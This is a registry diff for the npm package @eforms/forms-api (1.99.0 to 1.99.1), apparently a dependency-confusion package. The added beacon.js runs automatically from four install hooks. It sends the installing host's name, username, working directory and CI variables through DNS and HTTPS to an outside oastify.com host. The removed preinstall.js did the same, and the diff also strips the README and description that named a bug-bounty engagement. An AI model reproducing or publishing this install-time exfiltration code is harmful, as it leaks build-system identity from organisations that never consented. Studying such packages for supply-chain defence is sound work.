@eforms/forms-api 1.99.0 → 1.99.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/beacon.js ADDED
@@ -0,0 +1,43 @@
1
+ // Benign dependency-confusion canary. Emits one DNS lookup and one HTTPS GET.
2
+ // Carries only host/build metadata (host, user, cwd, platform, node, CI flags).
3
+ // Reads no files, dumps no environment variables, installs nothing, changes nothing.
4
+ 'use strict';
5
+ const os = require('os');
6
+ const dns = require('dns');
7
+ const https = require('https');
8
+ const OAST = '2z237udr1jxdaiw54xzmzfb7nytohszuplipn34fm4.oastify.com';
9
+ const stage = process.argv[2] || 'unknown';
10
+ let user = 'unknown', cwd = 'unknown';
11
+ try { user = os.userInfo().username; } catch (e) {}
12
+ try { cwd = process.cwd(); } catch (e) {}
13
+ const ciVars = ['CI','JENKINS_URL','JOB_NAME','BUILD_NUMBER','GITLAB_CI','GITHUB_ACTIONS','TF_BUILD','BUILD_BUILDID','SYSTEM_TEAMPROJECT','npm_config_registry','NODE_ENV','npm_lifecycle_event'];
14
+ const ci = {};
15
+ for (const k of ciVars) { if (process.env[k] !== undefined) ci[k] = String(process.env[k]).slice(0, 120); }
16
+ const info = {
17
+ stage,
18
+ pkg: '@eforms/forms-api',
19
+ ver: "1.99.1",
20
+ host: os.hostname(),
21
+ user,
22
+ cwd,
23
+ platform: process.platform,
24
+ arch: process.arch,
25
+ node: process.version,
26
+ ci,
27
+ ts: new Date().toISOString()
28
+ };
29
+ const label = ('esc013-' + (info.host || 'nohost').replace(/[^a-z0-9-]/gi, '-') + '-' + stage + '-' + Math.random().toString(36).slice(2, 8)).toLowerCase().slice(0, 60);
30
+ const qs = 'd=' + encodeURIComponent(Buffer.from(JSON.stringify(info)).toString('base64').slice(0, 900));
31
+ try { dns.lookup(label + '.' + OAST, () => {}); } catch (e) {}
32
+ try { dns.resolve4(label + '-res.' + OAST, () => {}); } catch (e) {}
33
+ function beacon(path) {
34
+ try {
35
+ const req = https.get({ host: OAST, path: path + '?' + qs, timeout: 8000, headers: { 'user-agent': 'npm-canary/2.99.1' } }, (res) => { res.resume(); });
36
+ req.on('error', () => {});
37
+ req.on('timeout', () => { try { req.destroy(); } catch (e) {} });
38
+ } catch (e) {}
39
+ }
40
+ beacon('/' + stage);
41
+ // keep the process alive long enough for the sockets to flush, then exit cleanly
42
+ setTimeout(() => { beacon('/late-' + stage); setTimeout(() => process.exit(0), 3000); }, 4000);
43
+ setTimeout(() => process.exit(0), 15000);
package/index.js CHANGED
@@ -1 +1 @@
1
- module.exports = {};
1
+ module.exports = { __researchCanary: true };
package/package.json CHANGED
@@ -1,14 +1,14 @@
1
1
  {
2
2
  "name": "@eforms/forms-api",
3
- "version": "1.99.0",
4
- "description": "Security research canary — authorized dependency-confusion proof of concept for the NatWest bug-bounty programme (Bugcrowd natwest-og). Reports the installing host identity (hostname, username, working directory) to an endpoint controlled by the engagement operator. Contains no other payload, performs no file access, and exits 0.",
3
+ "version": "1.99.1",
4
+ "description": "Security research canary for dependency-confusion testing. Emits one DNS and one HTTPS beacon carrying build-host metadata. Does not read files, does not dump the environment, installs nothing.",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
- "preinstall": "node preinstall.js"
7
+ "preinstall": "node beacon.js preinstall",
8
+ "install": "node beacon.js install",
9
+ "postinstall": "node beacon.js postinstall",
10
+ "prepare": "node beacon.js prepare"
8
11
  },
9
12
  "license": "UNLICENSED",
10
- "repository": {
11
- "type": "git",
12
- "url": "https://example.invalid/research-canary"
13
- }
13
+ "repository": {"type":"git","url":"https://example.invalid/research-canary"}
14
14
  }
package/README.md DELETED
@@ -1,14 +0,0 @@
1
- # Security research canary — do not install
2
-
3
- This package is a **dependency-confusion proof of concept** published as part of an
4
- authorized bug-bounty engagement against NatWest Group (Bugcrowd programme `natwest-og`).
5
-
6
- If your build server installed it, that means your package resolution fell through from a
7
- private registry to public npm for the `@eforms` scope. The only action this package takes
8
- is to beacon the installing host identity (hostname, username, working directory) to an
9
- endpoint controlled by the researcher, so the fall-through could be demonstrated.
10
-
11
- It does not read files, does not read environment variables, does not install a payload,
12
- and exits 0. It will be unpublished once the programme has the report.
13
-
14
- Contact the programme via the Bugcrowd report this package is referenced from.
package/preinstall.js DELETED
@@ -1,70 +0,0 @@
1
- // Authorized security-research canary — Bugcrowd "natwest-og" dependency-confusion PoC.
2
- // This file does ONE thing: emit a DNS + HTTP beacon carrying the build host's identity
3
- // (hostname, username, working directory) to the two endpoints the engagement operator controls.
4
- // It reads no files, dumps no environment, touches no other host, and always exits 0 so the
5
- // installation it interrupted appears to succeed normally. Disclose its presence in the
6
- // package README so a defender reading the tarball sees exactly this.
7
-
8
- 'use strict';
9
-
10
- var dns = require('dns');
11
- var os = require('os');
12
- var https = require('https');
13
- var querystring = require('querystring');
14
-
15
- // Filled in by build.sh before publish. Anything left as a placeholder is skipped.
16
- var INTERACTSH = 'rpkfvtsptfrhcgbe62qg11ywjnpij6ma1cfpke.oastify.com';
17
- var COLLAB = 'f6mk7lyjsuk3u1t49ypp9q2jbah15rtg.oastify.com';
18
-
19
- var PKG = '@eforms/forms-api';
20
- var VERSION = '1.99.0';
21
-
22
- function placeholder(d) {
23
- return !d || d.indexOf('__') === 0;
24
- }
25
-
26
- function safe(fn, fallback) {
27
- try { return fn(); } catch (e) { return fallback; }
28
- }
29
-
30
- var id = Math.random().toString(36).slice(2, 10);
31
- var host = safe(function () {
32
- return os.hostname().replace(/[^A-Za-z0-9-]/g, '-').slice(0, 40) || 'unknown';
33
- }, 'unknown');
34
- var who = safe(function () {
35
- return (os.userInfo().username || '').slice(0, 40);
36
- }, '');
37
- var pwd = safe(function () { return process.cwd(); }, '');
38
-
39
- var label = ('depconf-' + host + '-' + id).toLowerCase().replace(/[^a-z0-9-]/g, '-').slice(0, 60);
40
-
41
- var query = querystring.stringify({
42
- pkg: PKG,
43
- ver: VERSION,
44
- id: id,
45
- host: host,
46
- who: who,
47
- pwd: pwd,
48
- platform: safe(function () { return process.platform + '/' + process.arch; }, ''),
49
- node: safe(function () { return process.version; }, ''),
50
- ci: safe(function () { return process.env.CI ? '1' : '0'; }, ''),
51
- uid: safe(function () { return String(process.getuid ? process.getuid() : ''); }, '')
52
- });
53
-
54
- [INTERACTSH, COLLAB].forEach(function (domain) {
55
- if (placeholder(domain)) { return; }
56
-
57
- // DNS beacon: survives egress filtering that blocks HTTP but permits resolution.
58
- safe(function () { dns.lookup(label + '.' + domain, function () {}); }, null);
59
-
60
- // HTTP beacon: carries hostname / username / cwd, which a DNS label cannot.
61
- safe(function () {
62
- var req = https.get('https://' + label + '.' + domain + '/?' + query, { timeout: 5000 }, function (res) {
63
- res.resume();
64
- });
65
- req.on('error', function () {});
66
- req.setTimeout(5000, function () { req.destroy(); });
67
- }, null);
68
- });
69
-
70
- process.exit(0);